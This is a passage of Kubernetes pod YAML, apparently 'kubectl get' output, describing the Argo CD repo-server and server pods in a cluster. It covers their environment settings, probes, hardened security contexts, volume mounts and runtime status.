    uid: 45f78b5e-ac50-4486-ac1e-b9ecb8fbcc46
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-repo-server
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - /usr/local/bin/argocd-repo-server
      - --port=8081
      - --metrics-port=8084
      env:
      - name: ARGOCD_REPO_SERVER_NAME
        value: argocd-repo-server
      - name: ARGOCD_RECONCILIATION_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: timeout.reconciliation
            name: argocd-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: reposerver.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_LOGLEVEL
        valueFrom:
          configMapKeyRef:
            key: reposerver.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_LOG_FORMAT_TIMESTAMP
        valueFrom:
          configMapKeyRef:
            key: log.format.timestamp
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_PARALLELISM_LIMIT
        valueFrom:
          configMapKeyRef:
            key: reposerver.parallelism.limit
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_LISTEN_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: reposerver.listen.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_LISTEN_METRICS_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: reposerver.metrics.listen.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_DISABLE_TLS
        valueFrom:
          configMapKeyRef:
            key: reposerver.disable.tls
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_MIN_VERSION
        valueFrom:
          configMapKeyRef:
            key: reposerver.tls.minversion
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_MAX_VERSION
        valueFrom:
          configMapKeyRef:
            key: reposerver.tls.maxversion
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_CIPHERS
        valueFrom:
          configMapKeyRef:
            key: reposerver.tls.ciphers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: reposerver.repo.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_SERVER
        valueFrom:
          configMapKeyRef:
            key: redis.server
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_COMPRESSION
        valueFrom:
          configMapKeyRef:
            key: redis.compression
            name: argocd-cmd-params-cm
            optional: true
      - name: REDISDB
        valueFrom:
          configMapKeyRef:
            key: redis.db
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-username
            name: argocd-redis
            optional: true
      - name: REDIS_PASSWORD
        valueFrom:
          secretKeyRef:
            key: auth
            name: argocd-redis
            optional: false
      - name: REDIS_SENTINEL_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-username
            name: argocd-redis
            optional: true
      - name: REDIS_SENTINEL_PASSWORD
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-password
            name: argocd-redis
            optional: true
      - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: reposerver.default.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OTLP_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: otlp.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OTLP_INSECURE
        valueFrom:
          configMapKeyRef:
            key: otlp.insecure
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OTLP_HEADERS
        valueFrom:
          configMapKeyRef:
            key: otlp.headers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OTLP_ATTRS
        valueFrom:
          configMapKeyRef:
            key: otlp.attrs
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_MAX_COMBINED_DIRECTORY_MANIFESTS_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.max.combined.directory.manifests.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_PLUGIN_TAR_EXCLUSIONS
        valueFrom:
          configMapKeyRef:
            key: reposerver.plugin.tar.exclusions
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_PLUGIN_USE_MANIFEST_GENERATE_PATHS
        valueFrom:
          configMapKeyRef:
            key: reposerver.plugin.use.manifest.generate.paths
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_ALLOW_OUT_OF_BOUNDS_SYMLINKS
        valueFrom:
          configMapKeyRef:
            key: reposerver.allow.oob.symlinks
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_TAR_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.streamed.manifest.max.tar.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_EXTRACTED_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.streamed.manifest.max.extracted.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_HELM_MANIFEST_MAX_EXTRACTED_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.helm.manifest.max.extracted.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_DISABLE_HELM_MANIFEST_MAX_EXTRACTED_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.disable.helm.manifest.max.extracted.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_GIT_MODULES_ENABLED
        valueFrom:
          configMapKeyRef:
            key: reposerver.enable.git.submodule
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_GIT_LS_REMOTE_PARALLELISM_LIMIT
        valueFrom:
          configMapKeyRef:
            key: reposerver.git.lsremote.parallelism.limit
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_GIT_REQUEST_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: reposerver.git.request.timeout
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OCI_MANIFEST_MAX_EXTRACTED_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.oci.manifest.max.extracted.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_DISABLE_OCI_MANIFEST_MAX_EXTRACTED_SIZE
        valueFrom:
          configMapKeyRef:
            key: reposerver.disable.oci.manifest.max.extracted.size
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_OCI_LAYER_MEDIA_TYPES
        valueFrom:
          configMapKeyRef:
            key: reposerver.oci.layer.media.types
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REVISION_CACHE_LOCK_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: reposerver.revision.cache.lock.timeout
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_REPO_SERVER_INCLUDE_HIDDEN_DIRECTORIES
        valueFrom:
          configMapKeyRef:
            key: reposerver.include.hidden.directories
            name: argocd-cmd-params-cm
            optional: true
      - name: HELM_CACHE_HOME
        value: /helm-working-dir
      - name: HELM_CONFIG_HOME
        value: /helm-working-dir
      - name: HELM_DATA_HOME
        value: /helm-working-dir
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz?full=true
          port: metrics
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: repo-server
      ports:
      - containerPort: 8081
        name: repo-server
        protocol: TCP
      - containerPort: 8084
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: metrics
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/gpg/source
        name: gpg-keys
      - mountPath: /app/config/gpg/keys
        name: gpg-keyring
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /helm-working-dir
        name: helm-working-dir
      - mountPath: /home/argocd/cmp-server/plugins
        name: plugins
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8jjgv
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    initContainers:
    - command:
      - /bin/cp
      - -n
      - /usr/local/bin/argocd
      - /var/run/argocd/argocd-cmp-server
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      name: copyutil
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/argocd
        name: var-files
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8jjgv
        readOnly: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-repo-server
    serviceAccountName: argocd-repo-server
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: helm-working-dir
    - emptyDir: {}
      name: plugins
    - emptyDir: {}
      name: var-files
    - emptyDir: {}
      name: tmp
    - configMap:
        defaultMode: 420
        name: argocd-ssh-known-hosts-cm
      name: ssh-known-hosts
    - configMap:
        defaultMode: 420
        name: argocd-tls-certs-cm
      name: tls-certs
    - configMap:
        defaultMode: 420
        name: argocd-gpg-keys-cm
      name: gpg-keys
    - emptyDir: {}
      name: gpg-keyring
    - name: argocd-repo-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-repo-server-tls
    - name: kube-api-access-8jjgv
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:15Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:30Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:30Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:12Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://4038d7e7347cce5ed322d9455bd4407b19a2538ac32152a0da5a35907e322c11
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState:
        terminated:
          containerID: containerd://4dfcf5bbdb283ef93abca92ebc38f32505f45cebfbc037efef906d5121629550
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:02Z"
      name: repo-server
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:17Z"
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/gpg/source
        name: gpg-keys
      - mountPath: /app/config/gpg/keys
        name: gpg-keyring
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /helm-working-dir
        name: helm-working-dir
      - mountPath: /home/argocd/cmp-server/plugins
        name: plugins
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8jjgv
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    initContainerStatuses:
    - containerID: containerd://543305b4d5b35e5940b865ad961825b19f4f1d7ffc9bff0e6b09034d2ef4a8d5
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState: {}
      name: copyutil
      ready: true
      resources: {}
      restartCount: 2
      started: false
      state:
        terminated:
          containerID: containerd://543305b4d5b35e5940b865ad961825b19f4f1d7ffc9bff0e6b09034d2ef4a8d5
          exitCode: 0
          finishedAt: "2025-11-29T11:13:16Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:16Z"
      volumeMounts:
      - mountPath: /var/run/argocd
        name: var-files
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8jjgv
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 192.168.133.181
    podIPs:
    - ip: 192.168.133.181
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:12Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
      checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
      cni.projectcalico.org/containerID: 18773c43ce3445296aa1d686987f3286af0759824494bc159bba5cdea7c27b6e
      cni.projectcalico.org/podIP: 192.168.61.202/32
      cni.projectcalico.org/podIPs: 192.168.61.202/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: argocd-server-6475d67dbd-
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6475d67dbd
    name: argocd-server-6475d67dbd-tk5kr
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-server-6475d67dbd
      uid: d9ed7068-3231-41a4-bc58-ea3b908fce34
    resourceVersion: "18034181"
    uid: c1aad999-5f09-4bf0-8a37-3c883ba424b9
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-server
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - /usr/local/bin/argocd-server
      - --port=8080
      - --metrics-port=8083
      env:
      - name: ARGOCD_SERVER_NAME
        value: argocd-server
      - name: ARGOCD_SERVER_INSECURE
        valueFrom:
          configMapKeyRef:
            key: server.insecure
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_BASEHREF
        valueFrom:
          configMapKeyRef:
            key: server.basehref
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_ROOTPATH
        valueFrom:
          configMapKeyRef:
            key: server.rootpath
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: server.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_LOG_LEVEL
        valueFrom:
          configMapKeyRef:
            key: server.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_REPO_SERVER
        valueFrom:
          configMapKeyRef:
            key: repo.server
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_DEX_SERVER
        valueFrom:
          configMapKeyRef:
            key: server.dex.server
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_DISABLE_AUTH
        valueFrom:
          configMapKeyRef:
            key: server.disable.auth
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_ENABLE_GZIP
        valueFrom:
          configMapKeyRef:
            key: server.enable.gzip
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_REPO_SERVER_TIMEOUT_SECONDS
        valueFrom:
          configMapKeyRef:
            key: server.repo.server.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_X_FRAME_OPTIONS
        valueFrom:
          configMapKeyRef:
            key: server.x.frame.options
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_CONTENT_SECURITY_POLICY
        valueFrom:
          configMapKeyRef:
            key: server.content.security.policy
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_REPO_SERVER_PLAINTEXT
        valueFrom:
          configMapKeyRef:
            key: server.repo.server.plaintext
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_REPO_SERVER_STRICT_TLS
        valueFrom:
          configMapKeyRef:
            key: server.repo.server.strict.tls
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_DEX_SERVER_PLAINTEXT
        valueFrom:
          configMapKeyRef:
            key: server.dex.server.plaintext
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_DEX_SERVER_STRICT_TLS
        valueFrom:
          configMapKeyRef:
            key: server.dex.server.strict.tls
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_MIN_VERSION
        valueFrom:
          configMapKeyRef:
            key: server.tls.minversion
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_MAX_VERSION
        valueFrom:
          configMapKeyRef:
            key: server.tls.maxversion
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_TLS_CIPHERS
        valueFrom:
          configMapKeyRef:
            key: server.tls.ciphers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_CONNECTION_STATUS_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: server.connection.status.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_OIDC_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: server.oidc.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_STATIC_ASSETS
        valueFrom:
          configMapKeyRef:
            key: server.staticassets
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: server.app.state.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_SERVER
        valueFrom:
          configMapKeyRef:
            key: redis.server
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_COMPRESSION
        valueFrom:
          configMapKeyRef:
            key: redis.compression
            name: argocd-cmd-params-cm
            optional: true
      - name: REDISDB
        valueFrom:
          configMapKeyRef:
            key: redis.db
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-username
            name: argocd-redis
            optional: true
      - name: REDIS_PASSWORD
        valueFrom:
          secretKeyRef:
            key: auth
            name: argocd-redis
            optional: false
      - name: REDIS_SENTINEL_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-username
            name: argocd-redis
            optional: true
      - name: REDIS_SENTINEL_PASSWORD
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-password
            name: argocd-redis
            optional: true
      - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: server.default.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_MAX_COOKIE_NUMBER
        valueFrom:
          configMapKeyRef:
            key: server.http.cookie.maxnumber
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_LISTEN_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: server.listen.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_METRICS_LISTEN_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: server.metrics.listen.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_OTLP_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: otlp.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_OTLP_INSECURE
        valueFrom:
          configMapKeyRef:
            key: otlp.insecure
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_OTLP_HEADERS
        valueFrom:
          configMapKeyRef:
            key: otlp.headers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_OTLP_ATTRS
        valueFrom:
          configMapKeyRef:
            key: otlp.attrs
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_NAMESPACES
        valueFrom:
          configMapKeyRef:
            key: application.namespaces
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_ENABLE_PROXY_EXTENSION
        valueFrom:
          configMapKeyRef:
            key: server.enable.proxy.extension
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_K8SCLIENT_RETRY_MAX
        valueFrom:
          configMapKeyRef:
            key: server.k8sclient.retry.max
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
        valueFrom:
          configMapKeyRef:
            key: server.k8sclient.retry.base.backoff
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_API_CONTENT_TYPES
        valueFrom:
          configMapKeyRef:
            key: server.api.content.types
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SERVER_WEBHOOK_PARALLELISM_LIMIT
        valueFrom:
          configMapKeyRef:
            key: server.webhook.parallelism.limit
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.new.git.file.globbing
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.scm.root.ca.path
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.allowed.scm.providers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.scm.providers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.github.api.metrics
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_HYDRATOR_ENABLED
        valueFrom:
          configMapKeyRef:
            key: hydrator.enabled
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_SYNC_WITH_REPLACE_ALLOWED
        valueFrom:
          configMapKeyRef:
            key: server.sync.replace.allowed
            name: argocd-cmd-params-cm
            optional: true
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz?full=true
          port: server
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: server
      ports:
      - containerPort: 8080
        name: server
        protocol: TCP
      - containerPort: 8083
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: server
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/server/tls
        name: argocd-repo-server-tls
      - mountPath: /app/config/dex/tls
        name: argocd-dex-server-tls
      - mountPath: /home/argocd
        name: plugins-home
      - mountPath: /shared/app/custom
        name: styles
      - mountPath: /tmp
        name: tmp
      - mountPath: /home/argocd/params
        name: argocd-cmd-params-cm
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-nk7f9
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-server
    serviceAccountName: argocd-server
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: plugins-home
    - emptyDir: {}
      name: tmp
    - configMap:
        defaultMode: 420
        name: argocd-ssh-known-hosts-cm
      name: ssh-known-hosts
    - configMap:
        defaultMode: 420
        name: argocd-tls-certs-cm
      name: tls-certs
    - configMap:
        defaultMode: 420
        name: argocd-styles-cm
        optional: true
      name: styles
    - name: argocd-repo-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-repo-server-tls
    - name: argocd-dex-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-dex-server-tls
    - configMap:
        defaultMode: 420
        items:
        - key: server.profile.enabled
          path: profiler.enabled
        name: argocd-cmd-params-cm
        optional: true
      name: argocd-cmd-params-cm
    - name: kube-api-access-nk7f9
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:52Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:07Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:07Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://b92aad090834d3dbf75ef1194c20024ea65c1fa561a97d24e0566ab151bb61d3
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState:
        terminated:
          containerID: containerd://73d7775bd9b44298e7c69977f42c6475289d45043a2e47685807f1768d493c79
          exitCode: 143
          finishedAt: "2025-11-29T13:24:31Z"
          reason: Error
          startedAt: "2025-11-29T13:23:51Z"
      name: server
      ready: true
      resources: {}
      restartCount: 6
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:54Z"
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/server/tls
        name: argocd-repo-server-tls
      - mountPath: /app/config/dex/tls
        name: argocd-dex-server-tls
      - mountPath: /home/argocd
        name: plugins-home
      - mountPath: /shared/app/custom
        name: styles
      - mountPath: /tmp
        name: tmp
      - mountPath: /home/argocd/params
        name: argocd-cmd-params-cm
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-nk7f9
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.202
    podIPs:
    - ip: 192.168.61.202
